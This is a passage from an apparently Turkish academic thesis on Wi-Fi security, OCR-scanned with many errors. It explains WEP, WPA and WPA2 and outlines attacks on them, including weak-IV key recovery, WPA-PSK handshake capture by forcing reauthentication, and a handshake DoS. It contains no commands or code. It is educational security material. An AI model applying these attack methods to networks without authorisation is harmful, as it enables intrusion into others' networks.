standardina gore yaklasik 7 saatte tiim IV ler kullanilmis olacaktir [22].

RC4 Zayif anahtarlar iiretmesi: RC4 algoritmasinin anahtar iiretim algoritmasi
(Key Scheduling Algorithm) zayif akis anahtarlar iiretmektedir. Bu zayifliktan
faydalanarak sifrelenmis metinden akis sifresini buradan da anahtar1 elde etmek
miimkiin olabilir. Anahtarlarin 6nce baslangi¢ bitleri ve daha sonra ardisik

sekilde diger kisimlar1 ¢oziilebilmektedir.
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3.5.2. Wi — Fi korumal erisim ( WPA / Wi — Fi Protected Access )

Wi — Fi Protected Access (WPA), WEP’in zayifliklarim1 gidermek amaciyla 2003
yilinda Wi - Fi Alliance tarafindan gelistirilmistir. Wi- Fi Korumali1 Erigim, TKIP
algoritmasin1 kullanarak WEP’de var olan sifreleme zayifliklarini gili¢lendirir ve
sifreleme anahtarlarini otomatik olarak tliretmek ve dagitmak i¢in bir yontem sunar.
Bu ¢6ziim ayrica, iletisimde alinip verilen bilgi paketlerinin saldirganlar tarafindan
degistirilmemesi icin veriler {izerinde biitiinliik denetimi de sunar. Kurulus diizeyinde
kullanict kimlik dogrulamasini gelistirmek igin, Wi — Fi korumali erisim agdaki her
kullanicinin kimligini dogrular ve bu kullanicilarin aldatici aglara katilmalarini
engeller. WPA var olan teknolojileri temel alip, 802.11i ile ileri dogru uyumluluk ve
var olan 802.11 ¢oziimleriyle geriye dogru uyumluluk sunarak, WEP ile ilgili
zayifliklara pratik bir ¢6ziim saglar [23].
WPA, WEP ‘ye gore bir¢ok yarar saglar:

e WEP’den daha iyi giivenlik saglar.

e Sadece yazilimda olacak degisiklikleri talep eder.

e Var olan donanima uygulanabilir bir ¢dziim saglar.

e WEP tabanl istemcilere karistirllmis (WPA/WEP) aglarda isletim i¢in izin

verir [24].

Gecici anahtar biittinliigti protokolii (TKIP)

TKIP; WEP’in zayifliklarin1 adreslemek ve var olan donanimi kullanarak daha
giivenli WLAN i¢in bir ¢oziim yolu saglamak i¢in gelistirilmistir. TKIP; WEP’den
daha fazla hesaplama giicii gerektirir, AES ve WPA2 ‘den daha az hesaplama giicii

gerektirir.

TKIP ozellikleri sunlardur:
e Her pakete yeni anahtar karigtirma fonksiyonu.
e Michael olarak adlandirilan yeni mesa;j biitiinliik kontrolii.
e Daha uzun baslangic vektorii (WEP’de 24 bitken TKIP’da 48 bittir).

e Anahtarlar1 yenileme mekanizmasi.
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TKIP’de baslangig vektorii 48 bit’e cikarilmigtir. IV, hem paketlere sira numarasi
vermek hem de her paket i¢in tek kullanimlik anahtar iiretiminde kullanilir. Paketlere
sira numarast vermek tekrar saldirilarin1 6nlemek i¢indir. Ayrica sirasiz gelen

paketler alic1 tarafindan atilmaktadir [25].

| Baslangig Veltora (IV) | [ WEP Anahtan | | ApkMetin |
I1\ f,r‘ l
N\ Y
| | Gifreli Metin
[ T

! \ ;
L T
l Baglangt; Vektora (IV) I Paket Anahtan j—» I Alag Anahtan I

Sekil 3.5. TKIP paket anahtar1 olusturma

Kimlik denetimi paket akisi (EAP)

Extensible Authentication Protocol (EAP) , genis bir kimlik denetimi protokolil
cesitliligini iceren genel bir kimlik denetleme paket akisidir. Sekil 3.6 EAP paket
akisimin blok diyagraminmi gostermektedir. EAP, PPTP (Point To Point Tunneling
Protocol) ile kullanim i¢in gelistirilmistir. 802.1X; EAP’1 kablosuz ag i¢in, agin giris
kontrol mekanizmasinin bir pargasi olarak kullanmaktadir. Buna gore, EAP veri

baglantilarinin genis bir ¢esitliginin tistiinde kullanilabilir [26].

Kimlik Denstleme

“orntemleri

TLS AR ASSIN Other

1

~ f

EAP
i |

Badlart) HKatmanlar L 1

PPP ao0z2.2 202 .11

Sekil 3.6. Kimlik denetimi paket akist diyagrami
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3.5.3. Cok giivenli ag (WPA2 / Wi — Fi Protected AccesslI)

IEEE 802.11 i standardi, son haliyle 2004 yilinda IEEE tarafindan onaylanmistir. Bu
protokol WEP iizerine kurulmamais yeni ve farkli bir yap1 olarak gelistirmistir. WEP’1
desteklemez, WPA ile uyumlu olarak ¢alismaktadir. WPA2; 6n kimlik denetimini de
destekler ve erisim noktasindan erigim noktasina yeniden kimlik denetimi islem

zamanini yaklasik 600 milisaniyeden 30 milisaniyeye indirir.

WPA2’de Kullanilan yontemler genel hatlariyla WPA’da kullanilanlarla aynidir.
WPA2’yi WPA’dan farkli kalan tek ozellik ise sifreleme algoritmasinda ortaya
cikmaktadir. RC4 sifreleme algoritmasindan kaynaklanan zayifliklar1 gidermek
amaciyla, WPA2 farkli bir sifreleme algoritmasi kullanmaktadir. AES ( Advanced
Encryption Standard ) adi verilen bu algoritma ile gerceklestirilen sifreleme
giinimiizde tam bir gilivenlik sunmaktadir. WPA2’de giivenlik AES sifreleme
algoritmasin1 kullanan CCMP (Counter Mode — CBC MAC Protocol) protokolii ile
saglanir [23].

Gelismis sifreleme standardi (AES)

Bu standart; simdiki Federal Information Processing Standart (FIPS) Sifreleme
tanimlamasi olan, DES’in (Data Encryption Standart) yerine tasarlanmistir. AES;
simdiye kadar bilinen bir kusuru olmayan ve biitiin sifre ¢oziiciilere kars1 direnen ¢ok
giiclii bir sifreleme algoritmasidir. Asagidaki ¢izelgede buraya kadar anlatilmis olan

kablosuz giivenlik protokollerinin bir karsilagtirmas: verilmektedir [27].
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Ozelik WEP WPA WPA2
Giris Kontrolii Yok 802.1x 802.1x
Kimlik Denetimi Yok EAP EAP
Sifreleme RC4 TKIP AES
Algoritmasi
. 128 bit sifreleme. 64
Anahtar Bit [ 00000 104 bit | bit kimlik denetimi 128 bit
Uzunlugu -
icin
Paket Anahtar: Birbirine bagl Karisik fonksyon Ihtiyac yok
. . . 802.1x +
Anahtar Yontemi Statik 802.1x + TKIP CCMP

3.6. Kablosuz Aglarda Gereksinimler

802.11 WLAN veya Wi-Fi endiistrisi gelismeye baslamistir ve giiniimiizde énemli
bir hiza sahiptir. Tiim gostergeler Onilimiizdeki yillarda pek ¢ok organizasyonun
802.11 WLAN teknolojisi kullanacagini gostermektedir. Diikkénlar, hastaneler ve
hava alanlar1 dahil olmak tizere, pek ¢ok organizasyon kablosuz hale gelmenin
yararlarindan faydalanmay1 planlamaktadir. Ancak biiyiikk gelisme ve basari elde
edilmis olsa da, 802.11 WLAN’lar ile ilgili olan her sey pozitif olmamistir.
Organizasyonlar1 gilivenlik risklerine maruz birakmis olan 802.11 kablosuz aglara
yapilan saldirilar1 tanimlayan basili pek ¢ok rapor ve calisma vardir. Bu alt boliimde
Ozet olarak giivenlik risklerine yapilan saldirilar1 kapsayacaktir [28]. Sekil 3.7
organizasyonlara ve kullanicilarin WLAN’lara kars1 yapilan saldirilardan bazilarim

anlamalarina yardim etmek i¢in giivenlik risklerinin genel bir tanimini1 vermektedir.
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m
Pasif Aktif
Saldir 1 Saldin
( Gizli Bir Klmhk Tekrar ‘ Mesaj lemetm
graflk Deglstlrllmes Etme Deg1§t1rrn Engellenmes
nalizi

Sekilde
Sekil 3.7. WLAN’lara kars1 yapilan saldirilar

Dinleme

1. Pasif saldiri: Yetkisiz biri tarafindan bir varliga erisimin saglandig1 ve bu
varligin igerigini degistirmedigi bir saldiridir. Pasif saldirilar gizli bir sekilde
dinleme yapma veya trafik analizi olabilir (bazen trafik akis analizi olarak da

adlandirilir). Bu iki pasif saldir1 asagida tanimlanmustir.

e Gizli bir sekilde dinleme yapma: Saldirgan mesaj igerikleri i¢in
aktarimlar izler. Bu saldirinin bir 6rnegi iki is istasyonu arasinda bulunan
LAN fiizerinde dinleme yapma veya kablosuz bir telefon cihazi ile ana

istasyon arasindaki aktarimlara giren bir kimsedir [29].

e Trafik analizi: Saldirgan daha ustaca bir yolla haberlesme Oriintiileri i¢in
aktarimlar1 dinleyerek istihbarat elde eder. Haberlesen taraflar arasindaki

mesaj akisinda dnemli miktarda bilgi bulunur.

2. Aktif saldiri: Yetkisiz tarafindan bir mesajda, veri akisinda veya dosyada
degisiklikler yaptig1 bir saldiridir. Aktif saldirilar dort tiirdendir. Bu saldirilar

asagida tanimlanmstir.

e Kimlik degistirilmesi: Saldirgan yetkili bir kullaniciy1 taklit eder ve

bdylece belirli baz1 yetkisiz ayricaliklara sahip olur.
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e Tekrar etme: Saldirgan aktarimlar1 izler ve uygun bir kullanici olarak

mesaj1 tekrar gonderir.

e Mesaj degistirme: Saldirgan uygun bir mesaj1 silerek, ekleme yaparak

veya yeniden diizenleyerek degistirir.

e Hizmetin engellenmesi: Saldirgan haberlesme araglarinin  normal
kullanimin1 veya yonetimini engeller. 802.11 ile iligkili olan riskler bu

saldirilardan birinin veya daha fazlasinin sonucudur [29].

3.7. Kablosuz Aglarda Giivenlik Ac¢iklar

Kablosuz aglarda zayifliklar, sistemin tasarimi sirasinda goézden kagan, koti
tasarlanan sistemlerde bulunan veya sistem tasariminin bir parcasit olan donanim
veya yazilim kusurlaridir. 1990 6ncesi bu zayifliklar bilisim ve ag teknolojilerinde
iyl bilinmiyordu ve genellikle ihmal ediliyorlardi. Ancak bilgisayar aglarinin ¢ok
yaygimn bir sekilde kullanilmaya baslanmasi, onun giivenli bir hale getirilmesi
thtiyacin1 da beraberinde getirmis ve =zayifliklarin giderilmesi i¢in bilimsel

caligmalara bliyiik maddi kaynaklar ayrilmistir [30].

Aglarda veri paketleri gondericiden aliciya teller aracilig ile switch (anahtar), router
(yonlendirici) ve gateway (ag gecidi) lizerinden iletilmektedir. Aga bu donanimlar
tizerinden fiziksel bir baglanti kurabilen herhangi biri veri paketlerini toplayabilir,
inceleyebilir, okuyabilir ve daha fazla olarak da bu verileri bozabilir veya silebilir.

Aglardaki bu zayifliklart siniflandirirsak:

Paket ¢ekme: Paket Cekme (packet sniffing ), aga ilistirilmis bir aygitta ¢alisan ve
paket cekici (packet sniffer) olarak adlandirilan programlarla, bu aygitin ag
bagdastiricisindan gegen tiim veri baglanti katmani cergevelerini alma islemidir.

Ornegin Ethernet aglarinda, Ethernet bagdastiricisinin  gegen tiim  Ethernet
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cercevelerini alabilmesi i¢in rastgele kipine ayarlanmasi gerektiginden, Ethernet kart1
olan herhangi bir bilgisayar, kolaylikla bu tiir bir program gibi kullanilabilir. Sonra
bu cergeveler, uygulama diizeyi verileri ayiklayacak uygulama programlarina

aktarilabilir [31].

Paket ¢ekme islemi, agin izlenmesi ve yonetimi i¢in ¢ok Onemlidir, ancak kotii
niyetli kisiler tarafindan da kullanilabilir. Ayrica, birgcok web sitesinde bu tiir

programlarin hem ticretsiz, hem de ticari siiriimleri vardir.

Paket izleme: Agdaki herhangi iki veya daha c¢ok bilgisayar birbirleri ile iletisim
kurarken birbirlerine yolladiklar1 paketler okunabilir, analiz edilebilir. Bu yontemde
yol alan paketler sifrelenmemis iseler tam anlamiyla saldiriya aciktirlar. Eger
paketler sifrelenmis ise de sadece iletisim kurulan alici tespit edilebilir ve aralarinda

ne kadar veri transferi yapildigi, sikligi tespit edilebilir.

Hizmeti engelleme saldirilari (Denial of Service - DoS) : Bu tiir saldirilar, bilgisayar
aglarma yonelik giivenlik tehditlerinin en yayginlaridir. Tahmin edilebilecegi gibi bu
tir saldirilar, bir bilgisayar agmi, agda bir bilgisayar1 ya da baska bir aygiti
kullanilamaz duruma getirmeyi amaglar. Her ag bilgisayarinin hem bellek hem bant
genisligi hem de islem giicli anlaminda belirli bir kapasitesi vardir ve bu kapasitenin

gereksiz islere kanalize edilmesi onun verimini biiytlik 6l¢lide diistirebilir [32].

DoS saldirilar1 birden c¢ok paket yollayarak sistemi yavaglatip durdurmaya
yoneliktir. Bazen bu paketler ¢ok biiyiik ve igerisinde calistirilmasi istenen kodlar
icerebilir. Bu paketler ve kodlar sistemin yiikiinii arttirmakla beraber sistemin
durmasina hatta kilitlenmesine yol agabilir. Sekil 3.8’de Denial of Service yapisin

gosterilmistir [33].
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Sekil 3.8. Denial of service yapisi

Hizmeti engelleme saldirilarindan korunmak oldukca zor olabilmektedir ve bu
saldirilar dogrudan verilere yonelik olmasalar da, bilgisayar sistemlerinin gorevlerini
yapmalarin1  engelleyerek verilerin erisilebilirlik  6zelliklerini  kaybetmelerini
saglayabilirler. Ayrica “ortadaki adam saldirilar1 ““ gibi diger saldir1 yontemleri igin

gereken ortami olusturmak amaciyla da kullanilabilirler [34].

Dagitilmig hizmeti engelleme saldirilart (Distributed Denial of Service-DDoS) :
DDoS saldirilart DoS saldirilarinin gelismis bir tlirevidir. Bu yontemde saldirgan
girmek istedigi bir agin disariya acgik bir servisini veya giivenlik duvarini, zombi

bilgisayarlar kullanarak durdurup, aga sizmaya olanak hazirlar [35].

Zombiler, trojan ve viriis bulastirilmis bilgisayar gruplaridir ki saldirganlarca belli bir
amag ic¢in programlanabilir ve uzaktan kullanilabilirler. Zombi bilgisayarlar belli bir
zamanda Onceden belirlenmis bir sisteme siirekli olarak sahte paket yollamaya
baslarlar. Bu, saldirilan sistemde bir ylike sebep olur ve saldirgan i¢in sistemi agsmak

icin en iyi zamandir. Gliniimiizde en ¢ok kullanilan yontemlerden biridir [36].
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Sahte AP: Bir giivenlik riskidir, kotii niyetli veya yetkisiz bir kullanic1 sahte AP’i
gizli bir odaya, konferans salonundaki masanin altina veya bina i¢indeki diger gizli
bolgelere ekleyebilir. Sahte AP; yetkisiz kullanicilar tarafindan, aga girmek igin
kullanilir ve kablosuz istemciler arasindaki kablosuz trafigi yakalayabilir. Bu yontem
basit ama teknik anlamda erisim ¢alma ve diger saldirilara 6n ayak olmada en
etkilisidir. Kablosuz agin yakinlarmma ayni SSID ile baska bir AP kurulur. Aga
baglanmak isteyen yetkili kullanicilar, bu sahte AP’ye kullanici adi1 ve sifrelerini
bildirecekler ve boylece saldirgan bu bilgileri elde edecektir. Saldirgan, bu yontemde

cok kolay bir sekilde ortadaki adam saldirilarini gergeklestirebilir [37].

Sahte kullanicilar: Kablosuz aglara diger kullanicilart izleyerek, MAC adreslerini

alarak, sinyallerini kopyalayarak yetkisiz erisime sahip olabilirler.

Agtk AP’ler: Bircok AP fabrika ¢ikisi agik seklinde iretilirler. Bu AP’lerden erigim
yetkilendirmeleri istenmez. Bu AP’ler sayesinde internet erisimi ve daha 6nemli aga

giren bir kapi elde edilir.

Ortadaki adam (Man In The Middle- MITM) : Bazi1 baglantilar, iki bilgisayar
arasinda birtakim giivenlik protokollerinin isletilmesinden sonra kurulur. Bu
protokollerin isleme siirecinin iki taraf i¢in de olumlu ge¢mesi, birbirlerine
giivenmelerini ve giiven icinde veri aligverisi yapmalarim1 saglar. Ancak ag
paketlerini dinleyen birisi bu giliveni suiistimal edebilir. Sonugta ag1 dinliyor olmast
ona paketlerin sira numarasini, iki bilgisayarin da IP ve port numaralarin1 elde
edebilme olanagi saglar. Bu yontemde saldirgan degisik yollardan birini kullanarak
saldirdig1 bilgisayardan gonderilen tiim paketleri kendisine yonlendirir ve
kendisinden gelen paketleri veya cevap paketlerini disaridan geliyormus gibi
gosterir. Ornegin; kurban Microsoft’tan bir giivenlik paketi indirmek istediginde
saldirgan istedigi herhangi bir dosyay1 mesela viriislii veya sistemi bozan bir dosyay1
kullanicinin indirmesini ve calistirmasini saglayabilir. Sekil 3.9°da ortadaki adam

saldirisinda saldirganin durumunu gosterilmistir [38].
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Ortadaki adam (Man In The Middile- MITM)

Diizenli Iletisim
MITNM Saldiris: e el TS

Router
Sunucu

Saldurgan
Kullanic: s

Sekil 3.9. Ortadaki adam saldirisinda saldirganin durumu

Ortadaki adam saldirilarinda saldirgan iki nokta arasindaki iletisimi keserek, iletigim
noktasindan birini taklit eder ve diger istemciyle bilgi aligverisine girer. Dinledigi
agdan elde ettigi paketten mesaj dogrulugunu belirleyen veriyi bozarak 2 nokta
arasindaki iletisimi koparir. Yetkilendirilmis kullanicinin paketleriyle kendini erisim

noktasina dogrulatabilir [39].

Viriisler - Truva atlart — solucanlar saldirt yazilimlari: Tim bu varyasyonlar basit
bir mantikla islerler. Calistirilabilir kodu iceren dosyay1 indir ve ¢alistir. Kurbanlar
cesitli sekillerde e-posta, resim ve mp3 dosyast seklinde biliriinmiis dosyalar1 indirip

calistirirlar ve kod sisteme sizmis olur.

Viriisler — Calisma mantiklar1 biyolojik viriislere benzedigi i¢in bu ismi almislardir.
Virtisler i¢in en basit anlamda, bilgisayar kaynaklarini kullanip kendi kopyalarimni
uireterek yayilacak sekilde yazilmis kodlardir denilebilir. Bir viriis kodu, katlanarak
artan bir yayilim hizina sahip olabilir. Ayrica yazilimlara, donanimlara ve verilere
zarar verebilir. Viriisler, daha hizli yayilmak ve daha zor tespit edilmek i¢in miimkiin
oldugunca kiiciik kodlar olmalidirlar. Bu nedenle genellikle assembly veya ¢ gibi

dillerle yazilirlar.

Viriisler, 1960°lardan beri vardir, ancak bu yillarda arastirma merkezlerinde deneme
amactyla kullanilmiglardir. 1986 yilinda yazilan ilk PC viriisli Brain’den itibaren ise

bugiin bilinen viriislerin sayis1 60 bini ge¢mistir, her ay da listeye 500 yeni viriis
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eklenmektedir. Ornegin 1993’te, bilinen viriislerin sayis1 3.200 idi. Her giin 6-12
yeni virlis ortaya ¢iktig1 tahmin edilmektedir. Ayrica, dnceki yillara gore viriislerin
yayllma hizlar1 da ¢ok artmistir. Daha Once aylar ya da yillar alan bu siirec,

glinlimiizde dakikalar i¢inde tiim diinyaya yayilabilmektedir.

Truva atlart — Adlar, tarihi Truva kentinin ele gegirilmesi i¢in kullanilan at sekilli
bliyiik yapidan gelmistir. Calisma stratejileri, bu yapiyla uygulanan stratejiye fazlaca
benzemektedir. Truva at1 yazilimlar1 da tarihteki benzerleri gibi oldukca tehlikesiz
goriinmekte ancak i¢lerinde bilgisayarin kontroliinii ele ge¢irmek amaciyla yazilmisg
baz1 6zel kodlar barindirmaktadirlar. Truva atlar1 da birer programdir. Amaglari,
girdikleri bilgisayar1 bagkalarma agmaktir. Girdikleri sistemde, belirli bir kapinin
(port) acik tutulmasina ve bir programla sistemin denetlenebilmesine neden olurlar.
Truva atlari, temelde calistirilabilir dosyalardir (exe), yani ¢alistirilmadiklar siirece
zarar veremezler. Ancak son yillarda bir dosyaya patch olarak eklenip

gonderilebilmektedirler.

Solucanlar — Ag iizerindeki yazilim veya donanim anlamindaki zayifliklar
suiistimal ederek kendisini yayan yazilimlardir. Onlar1 diger zararli yazilimlardan
ayiran Ozellikleri de budur. Solucanlar, ag lizerinde yayilmak igin virilisler gibi
herhangi bir programa yerlesip kullanicinin kendisini ¢alistirmasina ihtiyag
duymazlar. Solucanlar, Truva atlar1 gibi birilerinin kendilerini bagka bir bilgisayar
gondermesine gerek yoktur. Solucanlar i¢in gerekli olan tek sey, ortamda suiistimal

ederek kendisini yaymasini saglayacak bir hata veya zayifliktir.

3.8. Kablosuz Aglara Yapilan Saldirilar

Kablosuz aglar icin gelistirilen farkli glivenlik mekanizmalarina ragmen, onlara
saldir1 i¢in bir¢ok yol vardir. WEP, WPA ve WPA2’mn agiklarindan yararlanilarak
yapilan saldirilar bilinmektedir. Bu saldirilart gergeklestirmek icin birgok arag

mevcuttur.
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3.8.1. WEP’e yapilan saldirilar

WEP giivenlik agiklarinin temelinde kimlik dogrulama ve sifreleme anahtar
yonetiminin zayif olmasi yatar. WEP anahtar yonetiminin zayifligi, tiim terminallere
statik olarak elle atanip, her trafik aktariminda degistirilmeden kullanilmasindan
kaynaklanir. Bu duruma ilaveten, alici tarafta verinin yeniden siralanabilmesi igin
kullanilan IV degerinin 24 bit olmas1 ve her paket gonderiminde IV degerinin sirayla
artarak belirli bir trafik hacmine ulasilinca kendini tekrarlamasi, anahtar yonetimi
daha da zayif hale getirir. Cok sayida kullaniciya sahip olan ve {izerinde ciddi trafik
akist olan WLAN’lar i¢in yeterli sayida tekrarlanan I'V’leri elde etmek nispeten daha
kolay bir istir. WEP ile sifrelenmis kablosuz aglara karsi yapilan iki tiir saldiri
yontemi vardir. Birincisi zayif IV’lerin toplanmasina; ikincisi ise tekrar etmeyen

IV’lerin toplanmasina ihtiya¢ duyar [40].

Zayif 1V kullanimina kars: vapilan saldirilar

WEP’in RC4 sifreleme algoritmasini kullanmasindan ileri gelen zayifliklar1 temel
alir. Sifrelenmis paketler icindeki IV’ler toplanarak WEP anahtarinin elde edilmesi
seklinde c¢alisir. Toplanan IV’ler i¢inden tekrar edenlerin incelenmesi prensibine
dayanir. 5 milyon sifreli paket i¢inden siiziilmiis 3.000 zayif IV toplanarak WEP
anahtar1 basariyla elde edilebilmektedir. Zayif [V’ler toplandiktan sonra, sifreleme
asamalar1 ters yonde uygulanarak anahtarin ilk byte’1 elde edilir. Bu islem WEP

anahtar1 ele gegirilene kadar her byte i¢in tekrarlanir [41].

1V ye karst vurus saldirilar:

Vurus saldirilar, yeterli sayida sifreli paket toplanmasi esasina dayanir. Vurus
saldirilarinin bir yontemi olarak, tekrar etmeyen I'V’ler toplanarak paketin son byte’
paketten ¢ikarilir ve anahtar dogru bir sekilde tahmin edilmeye calisir. Son byte ICV
bitlerini icerir. Son byte 0 oldugunda, paket i¢cindeki son 4 byte ile XOR islemine
tabi tutularak ICV bitleri ele gegirilebilir. Sonra bu paket tekrar gonderilerek sifresi

karilir.
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3.8.2. WPA’ya yapilan saldirilar

WPA’ya yapilan saldirilarda WEP’te oldugu gibi ¢ok sayida paket toplamaya ihtiyag
yoktur. Onemli bir nokta da; WPA’ya kars1 yapilan saldirilarin basarili olmasi igin
WPA’nin 6n paylasimli anahtar (PSK) modunda ¢alistyor olmasi gerektigidir. WPA-
PSK’ya karsi basarili bir saldir1 gergeklestirmek i¢cin EAPOL mesajlarini (dortlii
anlasma mesajlar1 ) yakalamak gerekir. Bu mesajlar1 yakalamak ig¢in yetkili bir
asilama isleminin yapilmasit beklenebilir ya da asillanmamis paketleri AP’ye
baglanmis istemcilere gondererek yeni bir asilama islemi i¢in zorlanabilir. Yeniden

asitlama yapilirken de EAPOL mesajlar1 yakalanabilir [45].

Bu tiir saldirilarin basarili olmasi ihtimallere baglidir ve basar1 i¢in PSK anahtarinin
21 karakterden az olmasi gerekir. Ancak bazi anahtar sozliikleri ile bu sinir
genigletilebilir. Bu tiir anahtar sozliikleri piyasada ticretsiz olarak temin

edilebilmektedir [42].

Dortlii anlasma(Handshake) protokoliine yapilan DoS ve DoS tasma saldirilar

Dortlii anlagma protokoliiniin zayifligi Msgl mesajindan kaynaklanmaktadir. Cilinkii
bu mesaj veri biitiinliiglinii saglayacak olan MIC degerini igermez. Asillayicidan
kullanictya gonderilen Msgl mesaj1, saldirgan tarafindan elde edilerek ANonce, SN
ve mesaj tip1 bilgileri belirlenebilir. Saldirgan (H), Msg2 mesaj1 génderildikten sonra
araya girerek Msgl mesajina benzer bir mesaji ( Msgl’) kullaniciya tekrar génderir.
Bu yeni Msgl’ degeri Msgl degerinden sadece ANonce degeri bakimindan farklidr.
Ciinkii ANonce degeri rastgele iiretilen bir degerdir. Bu noktada kullanici, saldirgan
tarafindan gonderilen bu yeni mesaja tepki olarak yeni bir PTK degeri (PTK')
hesaplayacak ve yine bununla iliskili olan Msg2’ mesajim asillayiciya gonderecektir.
Asillayici Msg2’ mesajmi dikkate almayacak ve Msg3 mesajmi kullaniciya
gonderecektir. Bu noktada kullanici, en son hesapladigi PTK’ degeri ile Msg3
mesajin1 denetleyecegi i¢in ve bu islem sonucunda bir esitlik saglanamayacag icin
Msg3 mesajini reddedecektir. Belli bir zaman sonunda asillayici Msg4 mesajini

alamadig1 icin Msg3 mesajin1 tekrar gondermeyi deneyecektir. Ancak cevap almasi
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miimkiin degildir ve belli bir deneme sonunda asilama islemi iptal edilecektir. Bu

durum sekil 3.10°da gosterilmistir [43].

Kullanict her bir Msgl mesajin1 aldiktan sonra ANonce ve PTK degerlerini
saklamaktadir. Saldirgan DoS tagma saldirilar ile ¢cok sayida saldirida bulundugunda
kullanict ¢ok sayida ANonce ve PTK degerini saklamak zorunda kalacak ve bu da

kullanici tarafinda bellek yorulmasina ve kilitlenmelere sebep olacaktir [44].

[AA, AMonce, 51N, msgl] Calculate AMonce

Calculate and store
Shonce; 1
calculate PTK; [SPA, SMNonce, SN, msg2,

AN d
stors e o MICpTE (SNonce, SN, msg2)]

Calculate PTE;
verify MIC

2

[AA, AMonce”, S, msgl]

Calculate PTK' = PRF 1 H
(PME, Anonce’, SMNonce);

store AMNonce” and PTEK"

[AA, ANMonce, SIN+1, msg3,
MICprr(AMNonce, SMN+1, msg3)]

//";riﬁr MIE'"‘"\\ .
| YWWrong MIC !
/' -

Timeout

Driscard T

——

-@iﬂﬂjmti{ati{u}

Sekil 3.10. Dortlii anlagsmaya karst DoS saldirist

Dortlii anlagsmada, 3 tiir mesaj tanimlanmistir. Bu mesajlar:

Msgl : [AA, ANoce, SN,Msgl]

Msg2 : [SPA, SNonce, SN,Msg2 MIC(SNonce, SN,Msg2)]

Msg3: [AA, ANonce, SN+1, Msg3, MIC (ANonce, SN+1, Msg3)]

S: Kullanici,

A: Asillayict,

MIC: Mesaj biitiinliik kodu,

AA: Asillayicinin MAC adresi,

SPA: Kullanicinin MAC adresi,

ANonce: Asillayict (Erisim noktasi ) tarafindan iiretilen rastgele bir deger,

SN: Mesajin sira numarasi.
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WPA2 standardi ile bu saldirilara kars1 6nlemler alinmistir. WPA2 ile Msgl mesaji
icine PMKID adi verilen yeni bir alan eklenir. PMKID degeri, PMK, AA ve SPA
degerlerinin 128 bit SHA harmanlama (hash) fonksiyonu ile elde edilmektedir.
Saldirgan PMK degerini bilmedigi ve SHA fonksiyonunu tersine ¢eviremeyecegi igin
Msgl mesajin kullaniciya gonderemez. Bu sekilde WPA2 ile DoS saldirilar

engellenmis olur [43].

WPA2 ayrica bellek yorgunlugu problemine de ¢éziim getirmistir. Bu ¢ézliim geregi
kullanict su sekilde davranmaktadir: Msgl mesajini aldiktan sonra SNonce degerini
tiretir, PTK degerini hesaplar ve Msg2 mesajini asillayiciya gonderir. Fakat ANonce
ve PTK degerini saklamaz. Bunun yerine sadece SNonce degerini saklar. Her bir
yeni Msgl mesajim1 aldiginda ise yeni bir PTK degeri hesaplar. Msg3 mesajin
aldiktan sonra da yine bu mesajla gelen ANonce degeri ve daha 6nceden saklamig
oldugu SNonce degerini kullanarak PTK degerini hesaplar. Hesaplanan bu PTK
degeri ile MIC degeri kontrol edilir ve asilama islemi tamamlanir. Bu uygulama
sayesinde Msg2 mesaj1 kayip olsa dahi asilama islemi tamamlanabilmektedir. Soyle
ki; Msg2 kaybolduktan belli bir siire sonra, asillayic1 yeni Msgl mesajim1 (Msgl/)
yeni bir ANonce degeri (ANonce/) ile birlikte kullaniciya gonderir. Bu izin verilen
bir durumdur ve kullanici tarafindan kabul edilecektir. Sekil 3.11°de bu asilama

islemi gosterilmistir [42] .

i L 2] s

[A A, ATNonoe, S, msgl | Caloculate AMNonce
Calculate ard 1
store SPlonce: [SPA., SMonce, SK, msg2, LOSs ]
calculate PTE:S | pAIC e g (SMonce, S, msg2 ] Timeout
2
[Ava, ATNonos". S, masgl ] Calcalate AT once
-
i [SPA, SINonce, ST, msg2,
Calcnlate PTE MMIC el SMonce, S, msg2)]
ar Calculats PTE "z
[As, ATNonce”, S +1,. msg>,] werify hIlc
Recalculate PTES; [SFPA. SHonce, SN+ 1, msgd, msg3)]
werify MMIC MMIC e (SINonce, SN+ 1, msga7]
ar

[SPA. ST+ 1. msgd,
PIC el SMN+1, msgd) ]
4

Werify hALC

e

Sekil 3.11. WPA2 ile DoS saldirilarindan korunma ve asilama isleminin yapilmasi
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4. YAPILAN CALISMA

IEEE 802.11 kablosuz aglar i¢in giivenlik standartlarimi belirler. Ayrica,
WLAN’larda kablosuz veri ve glivenlik sistemleri i¢in giiclii kriptolama teknolojileri,
kriptoyu ¢ozme, kimlik denetimi ve anahtar yOnetim stratejilerini belirler. Bu
calismanin temel amaci kablosuz ag gilivenlik seceneklerinin gézden gegirilmesi ve
ozellikle WPS, WPA ve WPA2 giivenlik standartlarinin acgiklarim1 ortaya

¢ikarmaktir.

4.1. Kablosuz Aglarda Linux Tabanh Sistemler

Linux 1991 yilinda Linus Torvalds adinda bir iiniversite 6g8rencisi tarafindan
gelistirilmistir. UNIX tabanlhidir ve UNIX’in bir tiirevidir. A¢ik kaynak kodlu ve
Ozgiir bir yazilimdir. Boylece tiim diinyadaki programcilar tarafindan gelistirilmis ve
yayginlagmistir. Ag isletim sistemi olarak da yaygin bir sekilde kullanilmaktadir.
Linux sistemler kablosuz ag yapilandirmasi i¢in zengin seceneklere sahiptir. Her
Linux dagitiminin kendi grafik ara birimli yapilandirmasi oldugu gibi tiim Linux
dagitimlar i¢in gecerli komutlar1 kullanmak da her zaman hazir olarak durmaktadir.

Linux, internet iizerinde ilgili ve merakli bircok kisi tarafindan ortak olarak
gelistirilmekte olan ve basta IBM — PC uyumlu kisisel bilgisayarlar olmak {izere
birgok platformda ¢alisabilen ve herhangi bir maliyeti olmayan bir isletim sistemidir.
Linux gergekten son yillarda hizli bir gelisme gostermis, cesitli iilkelerden birgok
kullanictya erismis ve yazilim destegi glinden giline artmistir. Degisik kuruluslar
Linux sistemi ve uygulama yazilimlarini bir araya getirerek dagitimlar olusturmugslar

ve kullanimin1 yayginlastirmiglardir [46].
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4.1. BackTrack 5

BackTrack, program degildir. Offensive Security Grubu tarafindan gelistirilen
tamamen 0Ozgiir olan bir isletim sistemidir. Hacking denilince akla gelen ilk Linux
yazilimidir. Aslinda giivenlik uzmanlar tarafindan ag ve sistem giivenligini

saglamak amaciyla kullanilmaktadir.

BackTrack, i¢inde bircok gelismis ara¢ barindiran, sistem ve aglarda bulunan
giivenlik acgiklarini test etmek icin, diger bir ifade ile penetrasyon (sizma); hedef
sistem ve agdaki zayifliklar1 kullanarak sisteme sizmaya calisma simiilasyonudur
